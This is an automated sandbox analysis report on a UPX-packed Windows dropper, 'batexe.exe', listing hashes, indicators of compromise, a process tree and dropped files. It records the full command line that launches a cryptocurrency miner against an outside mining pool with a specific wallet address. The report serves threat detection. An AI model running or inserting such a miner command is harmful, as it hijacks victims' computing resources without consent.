73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
294s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 23:33

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2616	b2e.exe
4484	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4484	cpuminer-sse2.exe
4484	cpuminer-sse2.exe
4484	cpuminer-sse2.exe
4484	cpuminer-sse2.exe
4484	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2580-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 2616	2580	batexe.exe	74
PID 2580 wrote to memory of 2616	2580	batexe.exe	74
PID 2580 wrote to memory of 2616	2580	batexe.exe	74
PID 2616 wrote to memory of 4288	2616	b2e.exe	75
PID 2616 wrote to memory of 4288	2616	b2e.exe	75
PID 2616 wrote to memory of 4288	2616	b2e.exe	75
PID 4288 wrote to memory of 4484	4288	cmd.exe	78
PID 4288 wrote to memory of 4484	4288	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Users\Admin\AppData\Local\Temp\8EF2.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8EF2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8EF2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9114.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8EF2.tmp\b2e.exe

Filesize
10.2MB

MD5
75e673265a4e4e3e4a537f75f1cc6c0c

SHA1
55f461f133fbe4e44d2b8f353c4d38279db03498

SHA256
3c9e48783137733e505eccc367bf381de3e2c7f712f8ac244e417679242a37a9

SHA512
a83d192f3f16d6e0b496af41d3718c1ea9b19b0f381227663178e107e41a8f47142d8927baf9a6e7a41ae56862f4b4106727e8aeb3e4f99e26dd9a036679cd48

Download Submit
C:\Users\Admin\AppData\Local\Temp\8EF2.tmp\b2e.exe

Filesize
7.9MB

MD5
39ea800a953eaac23e1c3f1f6706ba65

SHA1
960d8706dc9ed5a61d710956e61abcb285f816ae

SHA256
d59192f9f185d2cb5272aa72863ffca738cd456e1150981c7981f016c0629d2d

SHA512
e1ddf49e068e18c08eec810cc4bf214c5496d30b8aee2b35e3c9483e01d137a02b9274261f184ab6f6624aa948ddc8d0175553a73db8f586ef3aed35ded26692

Download Submit
C:\Users\Admin\AppData\Local\Temp\9114.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.4MB

MD5
93226605819d322c31af4fcda2acad62

SHA1
d724841c9760a9ef7c6cab40ecdcc2b536c056de

SHA256
ef5bc1771a59eaafc8ab91f183ea433867cf5cdab715dfa639e12d002030f19b

SHA512
9d0472e7e7453cb0bde1167bc4603ee75c32212149dc8b66824150fbb73ca7e10c7e9d743121c3f31799a9ff4a4d1a691d655ddaa1867f22fcbbe1b9bbd7d7c3

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.6MB

MD5
9e080c2fa098a18032868b74edcdad78

SHA1
fc1e64eed0d449700b18d9d8d20c2c2e50875b4c

SHA256
8675e8bea0e9600f172c066331714e2880b69115169f581f813b0bfad01bcba4

SHA512
2ea8e8e5ad5296ead1152eb58d639e89b0f19d2c6649a3fc5d9c1406d545b9bc839d7f22adc5ff52517c9e3cfca2ab5f26a20086df95230ecced8b96fd924fbc

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2580-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2616-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2616-51-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4484-43-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/4484-52-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4484-41-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4484-44-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/4484-45-0x000000005C0D0000-0x000000005C168000-memory.dmp

Filesize
608KB

Download
memory/4484-46-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4484-38-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/4484-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4484-57-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4484-62-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4484-67-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4484-72-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4484-77-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4484-82-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4484-87-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4484-92-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download